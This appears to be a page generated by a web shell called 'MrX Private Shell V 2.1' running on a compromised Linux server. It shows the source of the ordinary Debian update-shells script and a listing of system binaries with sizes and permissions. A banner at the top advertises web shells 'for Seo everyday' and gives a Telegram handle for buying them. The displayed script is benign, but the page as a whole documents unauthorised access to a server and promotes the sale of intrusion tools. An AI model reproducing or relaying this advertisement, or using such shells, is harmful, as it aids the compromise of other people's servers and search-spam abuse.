__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright 2021 Helmut Grohne <[email protected]> # A "hashset" is a shell variable containing a sequence of elements separated # and surrounded by hash (#) characters. None of the elements may contain a # hash character. The character is thus chosen, because it initiates a comment # in /etc/shells. All variables ending in _SHELLS in this file are hashsets. set -e # Check whether hashset $1 contains element $2. hashset_contains() { case "$1" in *"#$2#"*) return 0 ;; *) return 1 ;; esac } log() { if [ "$VERBOSE" = 1 ]; then echo "$*" fi } ROOT= VERBOSE=0 NOACT=0 while [ $# -gt 0 ]; do case "$1" in --help) cat <<EOF usage: $0 [options] --no-act Do not move the actual update into place --verbose Be more verbose --root DIR Operate on the given chroot, defaults to / EOF exit 0 ;; --no-act) NOACT=1 ;; --root) shift if [ "$#" -lt 1 ]; then echo "missing argument to --root" 1>&2 exit 1 fi ROOT=$1 ;; --verbose) VERBOSE=1 ;; *) echo "unrecognized option $1" 1>&2 exit 1 ;; esac shift done PKG_DIR="$ROOT/usr/share/debianutils/shells.d" STATE_FILE="$ROOT/var/lib/shells.state" TARGET_ETC_FILE="$ROOT/etc/shells" SOURCE_ETC_FILE="$TARGET_ETC_FILE" NEW_ETC_FILE="$TARGET_ETC_FILE.tmp" NEW_STATE_FILE="$STATE_FILE.tmp" if ! test -e "$SOURCE_ETC_FILE"; then SOURCE_ETC_FILE="$ROOT/usr/share/debianutils/shells" fi PKG_SHELLS='#' LC_COLLATE=C.UTF-8 # glob in reproducible order for f in "$PKG_DIR/"*; do [ "$f" = "$PKG_DIR/*" ] && break while IFS='#' read -r line _; do [ -n "$line" ] || continue PKG_SHELLS="$PKG_SHELLS$line#" realshell=$(dpkg-realpath --root "$ROOT" "$line") if [ "$line" != "$realshell" ]; then PKG_SHELLS="$PKG_SHELLS$realshell#" fi done < "$f" done STATE_SHELLS='#' if [ -e "$STATE_FILE" ] ; then while IFS='#' read -r line _; do [ -n "$line" ] && STATE_SHELLS="$STATE_SHELLS$line#" done < "$STATE_FILE" fi cleanup() { rm -f "$NEW_ETC_FILE" "$NEW_STATE_FILE" } trap cleanup EXIT : > "$NEW_ETC_FILE" ETC_SHELLS='#' while IFS= read -r line; do shell=${line%%#*} # copy all comment lines, packaged shells and local additions if [ -z "$shell" ] || hashset_contains "$PKG_SHELLS" "$shell" || ! hashset_contains "$STATE_SHELLS" "$shell"; then echo "$line" >> "$NEW_ETC_FILE" ETC_SHELLS="$ETC_SHELLS$shell#" else log "removing shell $shell" fi done < "$SOURCE_ETC_FILE" : > "$NEW_STATE_FILE" saved_IFS=$IFS IFS='#' set -f # shellcheck disable=SC2086 # word splitting intended, globbing disabled set -- ${PKG_SHELLS###} set +f IFS=$saved_IFS for shell; do echo "$shell" >> "$NEW_STATE_FILE" # add shells that are neither already present nor locally removed if ! hashset_contains "$ETC_SHELLS" "$shell" && ! hashset_contains "$STATE_SHELLS" "$shell"; then echo "$shell" >> "$NEW_ETC_FILE" log "adding shell $shell" fi done if [ "$NOACT" = 0 ]; then if [ -e "$STATE_FILE" ]; then chmod --reference="${STATE_FILE}" "${NEW_STATE_FILE}" || chmod $(stat -c %a "${STATE_FILE}") "${NEW_STATE_FILE}" chown --reference="${STATE_FILE}" "${NEW_STATE_FILE}" || chown $(stat -c %U "${STATE_FILE}") "${NEW_STATE_FILE}" else chmod 0644 "$NEW_STATE_FILE" fi chmod --reference="${SOURCE_ETC_FILE}" "${NEW_ETC_FILE}" || chmod $(stat -c %a "${SOURCE_ETC_FILE}") "${NEW_ETC_FILE}" chown --reference="${SOURCE_ETC_FILE}" "${NEW_ETC_FILE}" || chown $(stat -c %U "${SOURCE_ETC_FILE}") "${NEW_ETC_FILE}" sync -d "$NEW_ETC_FILE" "$NEW_STATE_FILE" mv -Z "${NEW_ETC_FILE}" "${TARGET_ETC_FILE}" || mv "${NEW_ETC_FILE}" "${TARGET_ETC_FILE}" sync "$TARGET_ETC_FILE" sync "$(dirname "$TARGET_ETC_FILE")" mv "$NEW_STATE_FILE" "$STATE_FILE" sync "$STATE_FILE" sync "$(dirname "$STATE_FILE")" trap "" EXIT fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| aa-remove-unknown | File | 3 KB | 0755 |
|
| aa-status | File | 62.62 KB | 0755 |
|
| aa-teardown | File | 137 B | 0755 |
|
| add-shell | File | 1.03 KB | 0755 |
|
| addgroup | File | 37.35 KB | 0755 |
|
| adduser | File | 37.35 KB | 0755 |
|
| agetty | File | 55.56 KB | 0755 |
|
| apparmor_parser | File | 1.48 MB | 0755 |
|
| apparmor_status | File | 62.62 KB | 0755 |
|
| arpd | File | 26.33 KB | 0755 |
|
| arptables | File | 219.04 KB | 0755 |
|
| arptables-nft | File | 219.04 KB | 0755 |
|
| arptables-nft-restore | File | 219.04 KB | 0755 |
|
| arptables-nft-save | File | 219.04 KB | 0755 |
|
| arptables-restore | File | 219.04 KB | 0755 |
|
| arptables-save | File | 219.04 KB | 0755 |
|
| badblocks | File | 34.32 KB | 0755 |
|
| blkdeactivate | File | 15.97 KB | 0755 |
|
| blkdiscard | File | 22.38 KB | 0755 |
|
| blkid | File | 50.41 KB | 0755 |
|
| blkzone | File | 34.38 KB | 0755 |
|
| blockdev | File | 30.38 KB | 0755 |
|
| bridge | File | 92.49 KB | 0755 |
|
| capsh | File | 30.3 KB | 0755 |
|
| cfdisk | File | 94.73 KB | 0755 |
|
| chcpu | File | 30.38 KB | 0755 |
|
| chgpasswd | File | 58.13 KB | 0755 |
|
| chmem | File | 34.38 KB | 0755 |
|
| chpasswd | File | 54.16 KB | 0755 |
|
| chroot | File | 38.51 KB | 0755 |
|
| cpgr | File | 48.29 KB | 0755 |
|
| cppw | File | 48.29 KB | 0755 |
|
| cryptdisks_start | File | 1.51 KB | 0755 |
|
| cryptdisks_stop | File | 844 B | 0755 |
|
| cryptsetup | File | 169.92 KB | 0755 |
|
| cryptsetup-reencrypt | File | 90.38 KB | 0755 |
|
| cryptsetup-ssh | File | 23.53 KB | 0755 |
|
| ctrlaltdel | File | 14.38 KB | 0755 |
|
| dcb | File | 80.52 KB | 0755 |
|
| debugfs | File | 229.8 KB | 0755 |
|
| delgroup | File | 16.11 KB | 0755 |
|
| deluser | File | 16.11 KB | 0755 |
|
| depmod | File | 194.31 KB | 0755 |
|
| devlink | File | 142.86 KB | 0755 |
|
| dhclient | File | 442.66 KB | 0755 |
|
| dhclient-script | File | 15.92 KB | 0755 |
|
| dmsetup | File | 171.02 KB | 0755 |
|
| dmstats | File | 171.02 KB | 0755 |
|
| dosfsck | File | 82.38 KB | 0755 |
|
| dosfslabel | File | 38.38 KB | 0755 |
|
| dumpe2fs | File | 30.31 KB | 0755 |
|
| e2freefrag | File | 14.3 KB | 0755 |
|
| e2fsck | File | 351.84 KB | 0755 |
|
| e2image | File | 42.31 KB | 0755 |
|
| e2label | File | 102.55 KB | 0755 |
|
| e2mmpstatus | File | 30.31 KB | 0755 |
|
| e2scrub | File | 7.13 KB | 0755 |
|
| e2scrub_all | File | 5.27 KB | 0755 |
|
| e2undo | File | 22.3 KB | 0755 |
|
| e4crypt | File | 30.38 KB | 0755 |
|
| e4defrag | File | 30.3 KB | 0755 |
|
| ebtables | File | 219.04 KB | 0755 |
|
| ebtables-nft | File | 219.04 KB | 0755 |
|
| ebtables-nft-restore | File | 219.04 KB | 0755 |
|
| ebtables-nft-save | File | 219.04 KB | 0755 |
|
| ebtables-restore | File | 219.04 KB | 0755 |
|
| ebtables-save | File | 219.04 KB | 0755 |
|
| faillock | File | 14.15 KB | 0755 |
|
| fatlabel | File | 38.38 KB | 0755 |
|
| fdisk | File | 110.42 KB | 0755 |
|
| filefrag | File | 18.32 KB | 0755 |
|
| findfs | File | 14.38 KB | 0755 |
|
| fsck | File | 42.42 KB | 0755 |
|
| fsck.cramfs | File | 30.44 KB | 0755 |
|
| fsck.ext2 | File | 351.84 KB | 0755 |
|
| fsck.ext3 | File | 351.84 KB | 0755 |
|
| fsck.ext4 | File | 351.84 KB | 0755 |
|
| fsck.fat | File | 82.38 KB | 0755 |
|
| fsck.minix | File | 54.41 KB | 0755 |
|
| fsck.msdos | File | 82.38 KB | 0755 |
|
| fsck.vfat | File | 82.38 KB | 0755 |
|
| fsfreeze | File | 14.38 KB | 0755 |
|
| fstab-decode | File | 18.3 KB | 0755 |
|
| fstrim | File | 42.38 KB | 0755 |
|
| genl | File | 90.44 KB | 0755 |
|
| getcap | File | 14.3 KB | 0755 |
|
| getpcaps | File | 14.3 KB | 0755 |
|
| getty | File | 55.56 KB | 0755 |
|
| groupadd | File | 66.91 KB | 0755 |
|
| groupdel | File | 62.73 KB | 0755 |
|
| groupmems | File | 54.19 KB | 0755 |
|
| groupmod | File | 66.82 KB | 0755 |
|
| grpck | File | 58.13 KB | 0755 |
|
| grpconv | File | 50.01 KB | 0755 |
|
| grpunconv | File | 50.01 KB | 0755 |
|
| halt | File | 299 KB | 0755 |
|
| hwclock | File | 50.5 KB | 0755 |
|
| iconvconfig | File | 30.4 KB | 0755 |
|
| init | File | 134.45 KB | 0755 |
|
| insmod | File | 194.31 KB | 0755 |
|
| installkernel | File | 2.6 KB | 0755 |
|
| integritysetup | File | 54.07 KB | 0755 |
|
| invoke-rc.d | File | 16.12 KB | 0755 |
|
| ip | File | 904.97 KB | 0755 |
|
| ip6tables | File | 219.04 KB | 0755 |
|
| ip6tables-apply | File | 6.89 KB | 0755 |
|
| ip6tables-legacy | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-restore | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-save | File | 96.95 KB | 0755 |
|
| ip6tables-nft | File | 219.04 KB | 0755 |
|
| ip6tables-nft-restore | File | 219.04 KB | 0755 |
|
| ip6tables-nft-save | File | 219.04 KB | 0755 |
|
| ip6tables-restore | File | 219.04 KB | 0755 |
|
| ip6tables-restore-translate | File | 219.04 KB | 0755 |
|
| ip6tables-save | File | 219.04 KB | 0755 |
|
| ip6tables-translate | File | 219.04 KB | 0755 |
|
| iptables | File | 219.04 KB | 0755 |
|
| iptables-apply | File | 6.89 KB | 0755 |
|
| iptables-legacy | File | 96.95 KB | 0755 |
|
| iptables-legacy-restore | File | 96.95 KB | 0755 |
|
| iptables-legacy-save | File | 96.95 KB | 0755 |
|
| iptables-nft | File | 219.04 KB | 0755 |
|
| iptables-nft-restore | File | 219.04 KB | 0755 |
|
| iptables-nft-save | File | 219.04 KB | 0755 |
|
| iptables-restore | File | 219.04 KB | 0755 |
|
| iptables-restore-translate | File | 219.04 KB | 0755 |
|
| iptables-save | File | 219.04 KB | 0755 |
|
| iptables-translate | File | 219.04 KB | 0755 |
|
| isosize | File | 14.38 KB | 0755 |
|
| killall5 | File | 30.38 KB | 0755 |
|
| ldattach | File | 26.38 KB | 0755 |
|
| ldconfig | File | 387 B | 0755 |
|
| ldconfig.real | File | 1.16 MB | 0755 |
|
| logsave | File | 14.16 KB | 0755 |
|
| losetup | File | 70.52 KB | 0755 |
|
| lsmod | File | 194.31 KB | 0755 |
|
| luksformat | File | 3.32 KB | 0755 |
|
| mkdosfs | File | 50.83 KB | 0755 |
|
| mke2fs | File | 130.62 KB | 0755 |
|
| mkfs | File | 14.38 KB | 0755 |
|
| mkfs.bfs | File | 22.38 KB | 0755 |
|
| mkfs.cramfs | File | 34.32 KB | 0755 |
|
| mkfs.ext2 | File | 130.62 KB | 0755 |
|
| mkfs.ext3 | File | 130.62 KB | 0755 |
|
| mkfs.ext4 | File | 130.62 KB | 0755 |
|
| mkfs.fat | File | 50.83 KB | 0755 |
|
| mkfs.minix | File | 42.39 KB | 0755 |
|
| mkfs.msdos | File | 50.83 KB | 0755 |
|
| mkfs.vfat | File | 50.83 KB | 0755 |
|
| mkhomedir_helper | File | 22.17 KB | 0755 |
|
| mklost+found | File | 14.3 KB | 0755 |
|
| mkswap | File | 46.38 KB | 0755 |
|
| modinfo | File | 194.31 KB | 0755 |
|
| modprobe | File | 194.31 KB | 0755 |
|
| netplan | File | 798 B | 0755 |
|
| newusers | File | 74.73 KB | 0755 |
|
| nfnl_osf | File | 18.3 KB | 0755 |
|
| nologin | File | 14.3 KB | 0755 |
|
| pam-auth-update | File | 20.5 KB | 0755 |
|
| pam_extrausers_chkpwd | File | 22.15 KB | 2755 |
|
| pam_extrausers_update | File | 30.15 KB | 0755 |
|
| pam_getenv | File | 2.82 KB | 0755 |
|
| pam_timestamp_check | File | 14.15 KB | 0755 |
|
| pivot_root | File | 14.38 KB | 0755 |
|
| plymouthd | File | 150.55 KB | 0755 |
|
| poweroff | File | 299 KB | 0755 |
|
| pwck | File | 50.13 KB | 0755 |
|
| pwconv | File | 46.01 KB | 0755 |
|
| pwunconv | File | 42.01 KB | 0755 |
|
| readprofile | File | 22.41 KB | 0755 |
|
| reboot | File | 299 KB | 0755 |
|
| remove-shell | File | 1.07 KB | 0755 |
|
| resize2fs | File | 66.3 KB | 0755 |
|
| rfkill | File | 30.23 KB | 0755 |
|
| rmmod | File | 194.31 KB | 0755 |
|
| rmt | File | 58.57 KB | 0755 |
|
| rmt-tar | File | 58.57 KB | 0755 |
|
| rtacct | File | 28.31 KB | 0755 |
|
| rtcwake | File | 34.38 KB | 0755 |
|
| rtmon | File | 90.39 KB | 0755 |
|
| runlevel | File | 299 KB | 0755 |
|
| runuser | File | 54.38 KB | 0755 |
|
| service | File | 8.88 KB | 0755 |
|
| setcap | File | 14.3 KB | 0755 |
|
| sfdisk | File | 102.38 KB | 0755 |
|
| shadowconfig | File | 885 B | 0755 |
|
| shutdown | File | 299 KB | 0755 |
|
| sshd | File | 899.7 KB | 0755 |
|
| start-stop-daemon | File | 47.35 KB | 0755 |
|
| sudo_logsrvd | File | 200.1 KB | 0755 |
|
| sudo_sendlog | File | 107.34 KB | 0755 |
|
| sulogin | File | 42.38 KB | 0755 |
|
| swaplabel | File | 18.38 KB | 0755 |
|
| swapoff | File | 22.38 KB | 0755 |
|
| swapon | File | 42.38 KB | 0755 |
|
| switch_root | File | 22.38 KB | 0755 |
|
| sysctl | File | 30.23 KB | 0755 |
|
| tarcat | File | 936 B | 0755 |
|
| tc | File | 614.08 KB | 0755 |
|
| telinit | File | 299 KB | 0755 |
|
| tipc | File | 90.44 KB | 0755 |
|
| tune2fs | File | 102.55 KB | 0755 |
|
| tzconfig | File | 106 B | 0755 |
|
| unix_chkpwd | File | 26.15 KB | 2755 |
|
| unix_update | File | 30.15 KB | 0755 |
|
| update-ca-certificates | File | 5.29 KB | 0755 |
|
| update-passwd | File | 34.56 KB | 0755 |
|
| update-rc.d | File | 16.92 KB | 0755 |
|
| update-shells | File | 3.72 KB | 0755 |
|
| useradd | File | 127.66 KB | 0755 |
|
| userdel | File | 86.85 KB | 0755 |
|
| usermod | File | 123.46 KB | 0755 |
|
| vdpa | File | 30.56 KB | 0755 |
|
| veritysetup | File | 43.76 KB | 0755 |
|
| vigr | File | 56.53 KB | 0755 |
|
| vipw | File | 56.53 KB | 0755 |
|
| visudo | File | 219.79 KB | 0755 |
|
| wipefs | File | 38.38 KB | 0755 |
|
| wpa_action | File | 1.69 KB | 0755 |
|
| wpa_cli | File | 140.31 KB | 0755 |
|
| wpa_supplicant | File | 3.24 MB | 0755 |
|
| xtables-legacy-multi | File | 96.95 KB | 0755 |
|
| xtables-monitor | File | 219.04 KB | 0755 |
|
| xtables-nft-multi | File | 219.04 KB | 0755 |
|
| zic | File | 62.32 KB | 0755 |
|
| zramctl | File | 54.52 KB | 0755 |
|